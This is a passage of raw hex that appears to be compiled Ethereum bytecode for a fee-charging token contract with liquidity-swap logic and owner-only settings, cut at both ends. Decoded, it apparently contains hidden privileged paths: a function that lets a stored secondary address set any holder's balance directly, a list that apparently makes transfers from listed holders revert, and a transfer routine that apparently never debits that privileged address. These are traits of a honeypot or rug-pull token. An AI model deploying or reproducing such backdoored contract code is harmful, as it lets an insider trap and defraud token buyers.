565b90600052602060002090601f016020900481019282620009df576000855562000a2b565b82601f10620009fa57805160ff191683800117855562000a2b565b8280016001018555821562000a2b579182015b8281111562000a2a57825182559160200191906001019062000a0d565b5b50905062000a3a919062000a3e565b5090565b5b8082111562000a5957600081600090555060010162000a3f565b5090565b60008151905062000a6e8162000edc565b92915050565b60006020828403121562000a8d5762000a8c62000ea1565b5b600062000a9d8482850162000a5d565b91505092915050565b62000ab18162000dc2565b82525050565b600062000ac6601b8362000b5b565b915062000ad38262000eb3565b602082019050919050565b62000ae98162000df6565b82525050565b600060408201905062000b06600083018562000aa6565b62000b15602083018462000aa6565b9392505050565b6000602082019050818103600083015262000b378162000ab7565b9050919050565b600060208201905062000b55600083018462000ade565b92915050565b600082825260208201905092915050565b600062000b798262000df6565b915062000b868362000df6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000bbe5762000bbd62000e43565b5b828201905092915050565b6000808291508390505b600185111562000c1b5780860481111562000bf35762000bf262000e43565b5b600185161562000c035780820291505b808102905062000c138562000ea6565b945062000bd3565b94509492505050565b600062000c318262000df6565b915062000c3e8362000e00565b925062000c6d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c75565b905092915050565b60008262000c87576001905062000d5a565b8162000c97576000905062000d5a565b816001811462000cb0576002811462000cbb5762000cf1565b600191505062000d5a565b60ff84111562000cd05762000ccf62000e43565b5b8360020a91508482111562000cea5762000ce962000e43565b5b5062000d5a565b5060208310610133831016604e8410600b841016171562000d2b5782820a90508381111562000d255762000d2462000e43565b5b62000d5a565b62000d3a848484600162000bc9565b9250905081840481111562000d545762000d5362000e43565b5b81810290505b9392505050565b600062000d6e8262000df6565b915062000d7b8362000df6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000db75762000db662000e43565b5b828202905092915050565b600062000dcf8262000dd6565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000e2657607f821691505b6020821081141562000e3d5762000e3c62000e72565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b60008160011c9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b62000ee78162000dc2565b811462000ef357600080fd5b50565b60805160601c6140f562000f1c6000396000818161101a015261106c01526140f56000f3fe6080604052600436106103035760003560e01c806395d89b4111610190578063c816841b116100dc578063dc44b6a011610095578063f0af48bf1161006f578063f0af48bf14610be1578063f0cd1dac14610c1e578063f2fde38b14610c49578063f872858a14610c725761030a565b8063dc44b6a014610b50578063dd62ed3e14610b7b578063ef40f2bc14610bb85761030a565b8063c816841b14610a3e578063c860795214610a69578063c867d60b14610a94578063cab0347114610ad1578063d469a20914610afc578063da00097d14610b255761030a565b8063a9059cbb11610149578063c2d4640e11610123578063c2d4640e14610996578063c469b6dd146109bf578063c49b9a80146109ea578063c5d2418914610a135761030a565b8063a9059cbb146108df578063ae2116b81461091c578063b20a4e5a146109595761030a565b806395d89b41146107cd578063a073d37f146107f8578063a08e671f14610823578063a2a627221461084e578063a457c2d714610877578063a83f53a7146108b45761030a565b8063395093511161024f5780636249faf11161020857806382eefb43116101e257806382eefb431461070f57806388790a681461073a5780638b42507f146107655780638da5cb5b146107a25761030a565b80636249faf11461068057806370a08231146106a9578063715266fe146106e65761030a565b8063395093511461055c5780633b97084a146105995780633ecad271146105c25780634a74bb02146105ff57806357a5802f1461062a57806361a23c69146106555761030a565b806323b872dd116102bc57806328b392011161029657806328b39201146104b25780632b112e49146104dd578063313ce5671461050857806335d23615146105335761030a565b806323b872dd146104215780632563ae831461045e57806327c8f835146104875761030a565b806306fdde031461030f578063095ea7b31461033a5780630d643080146103775780631245e347146103a05780631694505e146103cb57806318160ddd146103f65761030a565b3661030a57005b600080fd5b34801561031b57600080fd5b50610324610c9d565b604051610331919061389b565b60405180910390f35b34801561034657600080fd5b50610361600480360381019061035c919061339e565b610d2f565b60405161036e9190613865565b60405180910390f35b34801561038357600080fd5b5061039e6004803603810190610399919061353e565b610d4d565b005b3480156103ac57600080fd5b506103b5610e36565b6040516103c291906137e9565b60405180910390f35b3480156103d757600080fd5b506103e0610e5c565b6040516103ed9190613880565b60405180910390f35b34801561040257600080fd5b5061040b610e82565b604051610418919061399d565b60405180910390f35b34801561042d57600080fd5b506104486004803603810190610443919061334b565b610e8c565b6040516104559190613865565b60405180910390f35b34801561046a57600080fd5b506104856004803603810190610480919061343e565b610f66565b005b34801561049357600080fd5b5061049c611018565b6040516104a991906137ce565b60405180910390f35b3480156104be57600080fd5b506104c761103c565b6040516104d491906137e9565b60405180910390f35b3480156104e957600080fd5b506104f2611062565b6040516104ff919061399d565b60405180910390f35b34801561051457600080fd5b5061051d6110a6565b60405161052a9190613a42565b60405180910390f35b34801561053f57600080fd5b5061055a600480360381019061055591906132b1565b6110bd565b005b34801561056857600080fd5b50610583600480360381019061057e919061339e565b611196565b6040516105909190613865565b60405180910390f35b3480156105a557600080fd5b506105c060048036038101906105bb919061346b565b611249565b005b3480156105ce57600080fd5b506105e960048036038101906105e491906132b1565b6112e8565b6040516105f69190613865565b60405180910390f35b34801561060b57600080fd5b50610614611308565b6040516106219190613865565b60405180910390f35b34801561063657600080fd5b5061063f61131b565b60405161064c919061399d565b60405180910390f35b34801561066157600080fd5b5061066a611321565b604051610677919061399d565b60405180910390f35b34801561068c57600080fd5b506106a760048036038101906106a291906133de565b611327565b005b3480156106b557600080fd5b506106d060048036038101906106cb91906132b1565b611461565b6040516106dd919061399d565b60405180910390f35b3480156106f257600080fd5b5061070d600480360381019061070891906133de565b6114aa565b005b34801561071b57600080fd5b506107246115e4565b604051610731919061399d565b60405180910390f35b34801561074657600080fd5b5061074f6115ea565b60405161075c919061399d565b60405180910390f35b34801561077157600080fd5b5061078c600480360381019061078791906132b1565b6115f0565b6040516107999190613865565b60405180910390f35b3480156107ae57600080fd5b506107b7611610565b6040516107c491906137ce565b60405180910390f35b3480156107d957600080fd5b506107e2611639565b6040516107ef919061389b565b60405180910390f35b34801561080457600080fd5b5061080d6116cb565b60405161081a919061399d565b60405180910390f35b34801561082f57600080fd5b506108386116d5565b604051610845919061399d565b60405180910390f35b34801561085a57600080fd5b5061087560048036038101906108709190613498565b6116db565b005b34801561088357600080fd5b5061089e6004803603810190610899919061339e565b6117bb565b6040516108ab9190613865565b60405180910390f35b3480156108c057600080fd5b506108c9611888565b6040516108d6919061399d565b60405180910390f35b3480156108eb57600080fd5b506109066004803603810190610901919061339e565b61188e565b6040516109139190613865565b60405180910390f35b34801561092857600080fd5b50610943600480360381019061093e91906132b1565b6118ad565b6040516109509190613865565b60405180910390f35b34801561096557600080fd5b50610980600480360381019061097b91906132b1565b6118cd565b60405161098d9190613865565b60405180910390f35b3480156109a257600080fd5b506109bd60048036038101906109b89190613498565b6118ed565b005b3480156109cb57600080fd5b506109d46119cd565b6040516109e1919061399d565b60405180910390f35b3480156109f657600080fd5b50610a116004803603810190610a0c919061343e565b6119d3565b005b348015610a1f57600080fd5b50610a28611abc565b604051610a35919061399d565b60405180910390f35b348015610a4a57600080fd5b50610a53611ac2565b604051610a6091906137ce565b60405180910390f35b348015610a7557600080fd5b50610a7e611ae8565b604051610a8b919061399d565b60405180910390f35b348015610aa057600080fd5b50610abb6004803603810190610ab691906132b1565b611aee565b604051610ac89190613865565b60405180910390f35b348015610add57600080fd5b50610ae6611b0e565b604051610af3919061399d565b60405180910390f35b348015610b0857600080fd5b50610b236004803603810190610b1e9190613498565b611b14565b005b348015610b3157600080fd5b50610b3a611bf4565b604051610b479190613865565b60405180910390f35b348015610b5c57600080fd5b50610b65611c07565b604051610b72919061399d565b60405180910390f35b348015610b8757600080fd5b50610ba26004803603810190610b9d919061330b565b611c0d565b604051610baf919061399d565b60405180910390f35b348015610bc457600080fd5b50610bdf6004803603810190610bda919061339e565b611c94565b005b348015610bed57600080fd5b50610c086004803603810190610c0391906132b1565b611d13565b604051610c159190613865565b60405180910390f35b348015610c2a57600080fd5b50610c33611d33565b604051610c40919061399d565b60405180910390f35b348015610c5557600080fd5b50610c706004803603810190610c6b91906132b1565b611d39565b005b348015610c7e57600080fd5b50610c87611e8b565b604051610c949190613865565b60405180910390f35b606060018054610cac90613ca9565b80601f0160208091040260200160405190810160405280929190818152602001828054610cd890613ca9565b8015610d255780601f10610cfa57610100808354040283529160200191610d25565b820191906000526020600020905b815481529060010190602001808311610d0857829003601f168201915b5050505050905090565b6000610d43610d3c611efc565b8484611f04565b6001905092915050565b610d7b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600c336120cf565b610d8457600080fd5b60005b82829050811015610e2f57600180141580610d9f5750835b600c6000858585818110610db657610db5613db1565b5b9050602002016020810190610dcb91906132b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610e2790613cdb565b915050610d87565b5050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601954905090565b6000610e99848484612115565b50610f5b84610ea6611efc565b610f568560405180606001604052806028815260200161407360289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610f0c611efc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254e9092919063ffffffff16565b611f04565b600190509392505050565b610f6e611efc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ffb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff29061393d565b60405180910390fd5b80601c60176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006110a16110907f0000000000000000000000000000000000000000000000000000000000000000611461565b6019546125b290919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b6110c5611efc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611152576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111499061393d565b60405180910390fd5b80600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061123f6111a3611efc565b8461123a85600660006111b4611efc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9e90919063ffffffff16565b611f04565b6001905092915050565b611251611efc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d59061393d565b60405180910390fd5b80601a8190555050565b600a6020528060005260406000206000915054906101000a900460ff1681565b601c60159054906101000a900460ff1681565b60135481565b60145481565b61132f611efc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b39061393d565b60405180910390fd5b60005b8383905081101561145b5781600860008686858181106113e2576113e1613db1565b5b90506020020160208101906113f791906132b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061145390613cdb565b9150506113bf565b50505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6114b2611efc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461153f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115369061393d565b60405180910390fd5b60005b838390508110156115de57816007600086868581811061156557611564613db1565b5b905060200201602081019061157a91906132b1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806115d690613cdb565b915050611542565b50505050565b60175481565b60105481565b60096020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606002805461164890613ca9565b80601f016020809104026020016040519081016040528092919081815260200182805461167490613ca9565b80156116c15780601f10611696576101008083540402835291602001916116c1565b820191906000526020600020905b8154815290600101906020018083116116a457829003601f168201915b5050505050905090565b6000601a54905090565b60185481565b6116e3611efc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611770576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117679061393d565b60405180910390fd5b8260108190555081601181905550806012819055506117b06012546117a2601154601054611e9e90919063ffffffff16565b611e9e90919063ffffffff16565b601781905550505050565b600061187e6117c8611efc565b846118798560405180606001604052806025815260200161409b60259139600660006117f2611efc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254e9092919063ffffffff16565b611f04565b6001905092915050565b60155481565b60006118a261189b611efc565b8484612115565b506001905092915050565b600b6020528060005260406000206000915054906101000a900460ff1681565b60076020528060005260406000206000915054906101000a900460ff1681565b6118f5611efc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611982576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119799061393d565b60405180910390fd5b8260138190555081601481905550806015819055506119c26015546119b4601454601354611e9e90919063ffffffff16565b611e9e90919063ffffffff16565b601881905550505050565b600f5481565b6119db611efc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5f9061393d565b60405180910390fd5b80601c60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15981604051611ab19190613865565b60405180910390a150565b600e5481565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60115481565b60086020528060005260406000206000915054906101000a900460ff1681565b60125481565b611b1c611efc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ba9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba09061393d565b60405180910390fd5b82600d8190555081600e8190555080600f81905550611be9600f54611bdb600e54600d54611e9e90919063ffffffff16565b611e9e90919063ffffffff16565b601681905550505050565b601c60169054906101000a900460ff1681565b600d5481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611cc2600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166002336120cf565b611ccb57600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b600c6020528060005260406000206000915054906101000a900460ff1681565b60165481565b611d41611efc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611dce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc59061393d565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b601c60179054906101000a900460ff1681565b6000808284611ead9190613ab2565b905083811015611ef2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ee9906138fd565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611f74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f6b9061397d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611fe4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fdb906138dd565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516120c2919061399d565b60405180910390a3505050565b60008173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061210c575060018014155b90509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612186576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217d9061395d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156121f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ed906138bd565b60405180910390fd5b601c60149054906101000a900460ff161561221d576122168484846125fc565b9050612547565b600061222830611461565b90506000601a54821015905080801561224e5750601c60149054906101000a900460ff16155b80156122a45750600b60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122bc5750601c60159054906101000a900460ff165b156122e657601c60169054906101000a900460ff16156122dc57601a5491505b6122e5826127cf565b5b6122ef866129c0565b1561238a5761234684600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125b290919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061242d5750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6124415761243c878787612a1b565b612443565b845b905061249781600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9e90919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612537919061399d565b60405180910390a3600193505050505b9392505050565b6000838311158290612596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258d919061389b565b60405180910390fd5b50600083856125a59190613b93565b9050809150509392505050565b60006125f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061254e565b905092915050565b6000612687826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461254e9092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061271c82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9e90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516127bc919061399d565b60405180910390a3600190509392505050565b6001601c60146101000a81548160ff0219169083151502179055506000612828600261281a60185461280c60135487612ceb90919063ffffffff16565b612d6690919063ffffffff16565b612d6690919063ffffffff16565b9050600061283f82846125b290919063ffffffff16565b905061284a81612db0565b6000479050600061287b61286a6002601354612d6690919063ffffffff16565b6018546125b290919063ffffffff16565b905060006128b960026128ab8461289d60135488612ceb90919063ffffffff16565b612d6690919063ffffffff16565b612d6690919063ffffffff16565b905060006128e4836128d660155487612ceb90919063ffffffff16565b612d6690919063ffffffff16565b9050600061290d826128ff85886125b290919063ffffffff16565b6125b290919063ffffffff16565b9050600081111561294557612944600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff168261303b565b5b600082111561297b5761297a600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361303b565b5b60008311801561298b5750600087115b1561299b5761299a8784613086565b5b505050505050506000601c60146101000a81548160ff02191690831515021790555050565b6000600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614159050919050565b60008060009050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612acb57600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612aca57600080fd5b5b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612b4c57612b456064612b3760165486612ceb90919063ffffffff16565b612d6690919063ffffffff16565b9050612bca565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615612bc957612bc66064612bb860175486612ceb90919063ffffffff16565b612d6690919063ffffffff16565b90505b5b6000811115612cce57612c2581600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9e90919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612cc5919061399d565b60405180910390a35b612ce181846125b290919063ffffffff16565b9150509392505050565b600080831415612cfe5760009050612d60565b60008284612d0c9190613b39565b9050828482612d1b9190613b08565b14612d5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d529061391d565b60405180910390fd5b809150505b92915050565b6000612da883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061317a565b905092915050565b6000600267ffffffffffffffff811115612dcd57612dcc613de0565b5b604051908082528060200260200182016040528015612dfb5781602001602082028036833780820191505090505b5090503081600081518110612e1357612e12613db1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612eb557600080fd5b505afa158015612ec9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612eed91906132de565b81600181518110612f0157612f00613db1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612f6830601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611f04565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612fcc9594939291906139e8565b600060405180830381600087803b158015612fe657600080fd5b505af1158015612ffa573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161302f9291906139b8565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613081573d6000803e3d6000fd5b505050565b6130b330601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611f04565b601b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230856000806130ff611610565b426040518863ffffffff1660e01b815260040161312196959493929190613804565b6060604051808303818588803b15801561313a57600080fd5b505af115801561314e573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061317391906134eb565b5050505050565b600080831182906131c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131b8919061389b565b60405180910390fd5b50600083856131d09190613b08565b9050809150509392505050565b6000813590506131ec81614016565b92915050565b60008151905061320181614016565b92915050565b60008083601f84011261321d5761321c613e14565b5b8235905067ffffffffffffffff81111561323a57613239613e0f565b5b60208301915083602082028301111561325657613255613e19565b5b9250929050565b60008135905061326c8161402d565b92915050565b60008135905061328181614044565b92915050565b60008151905061329681614044565b92915050565b6000813590506132ab8161405b565b92915050565b6000602082840312156132c7576132c6613e23565b5b60006132d5848285016131dd565b91505092915050565b6000602082840312156132f4576132f3613e23565b5b6000613302848285016131f2565b91505092915050565b6000806040838503121561332257613321613e23565b5b6000613330858286016131dd565b9250506020613341858286016131dd565b9150509250929050565b60008060006060848603121561336457613363613e23565b5b6000613372868287016131dd565b9350506020613383868287016131dd565b925050604061339486828701613272565b9150509250925092565b600080604083850312156133b5576133b4613e23565b5b60006133c3858286016131dd565b92505060206133d485828601613272565b9150509250929050565b6000806000604084860312156133f7576133f6613e23565b5b600084013567ffffffffffffffff81111561341557613414613e1e565b5b61342186828701613207565b935093505060206134348682870161325d565b9150509250925092565b60006020828403121561345457613453613e23565b5b60006134628482850161325d565b91505092915050565b60006020828403121561348157613480613e23565b5b600061348f84828501613272565b91505092915050565b6000806000606084860312156134b1576134b0613e23565b5b60006134bf86828701613272565b93505060206134d086828701613272565b92505060406134e186828701613272565b9150509250925092565b60008060006060848603121561350457613503613e23565b5b600061351286828701613287565b935050602061352386828701613287565b925050604061353486828701613287565b9150509250925092565b6000806000806060858703121561355857613557613e23565b5b60006135668782880161329c565b94505060206135778782880161325d565b935050604085013567ffffffffffffffff81111561359857613597613e1e565b5b6135a487828801613207565b925092505092959194509250565b60006135be83836135d9565b60208301905092915050565b6135d381613bd9565b82525050565b6135e281613bc7565b82525050565b6135f181613bc7565b82525050565b600061360282613a6d565b61360c8185613a90565b935061361783613a5d565b8060005b8381101561364857815161362f88826135b2565b975061363a83613a83565b92505060018101905061361b565b5085935050505092915050565b61365e81613beb565b82525050565b61366d81613c2e565b82525050565b61367c81613c40565b82525050565b600061368d82613a78565b6136978185613aa1565b93506136a7818560208601613c76565b6136b081613e28565b840191505092915050565b60006136c8602383613aa1565b91506136d382613e39565b604082019050919050565b60006136eb602283613aa1565b91506136f682613e88565b604082019050919050565b600061370e601b83613aa1565b915061371982613ed7565b602082019050919050565b6000613731602183613aa1565b915061373c82613f00565b604082019050919050565b6000613754602083613aa1565b915061375f82613f4f565b602082019050919050565b6000613777602583613aa1565b915061378282613f78565b604082019050919050565b600061379a602483613aa1565b91506137a582613fc7565b604082019050919050565b6137b981613c17565b82525050565b6137c881613c21565b82525050565b60006020820190506137e360008301846135e8565b92915050565b60006020820190506137fe60008301846135ca565b92915050565b600060c08201905061381960008301896135e8565b61382660208301886137b0565b6138336040830187613673565b6138406060830186613673565b61384d60808301856135e8565b61385a60a08301846137b0565b979650505050505050565b600060208201905061387a6000830184613655565b92915050565b60006020820190506138956000830184613664565b92915050565b600060208201905081810360008301526138b58184613682565b905092915050565b600060208201905081810360008301526138d6816136bb565b9050919050565b600060208201905081810360008301526138f6816136de565b9050919050565b6000602082019050818103600083015261391681613701565b9050919050565b6000602082019050818103600083015261393681613724565b9050919050565b6000602082019050818103600083015261395681613747565b9050919050565b600060208201905081810360008301526139768161376a565b9050919050565b600060208201905081810360008301526139968161378d565b9050919050565b60006020820190506139b260008301846137b0565b92915050565b60006040820190506139cd60008301856137b0565b81810360208301526139df81846135f7565b90509392505050565b600060a0820190506139fd60008301886137b0565b613a0a6020830187613673565b8181036040830152613a1c81866135f7565b9050613a2b60608301856135e8565b613a3860808301846137b0565b9695505050505050565b6000602082019050613a5760008301846137bf565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613abd82613c17565b9150613ac883613c17565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613afd57613afc613d24565b5b828201905092915050565b6000613b1382613c17565b9150613b1e83613c17565b925082613b2e57613b2d613d53565b5b828204905092915050565b6000613b4482613c17565b9150613b4f83613c17565b9250817ffffffff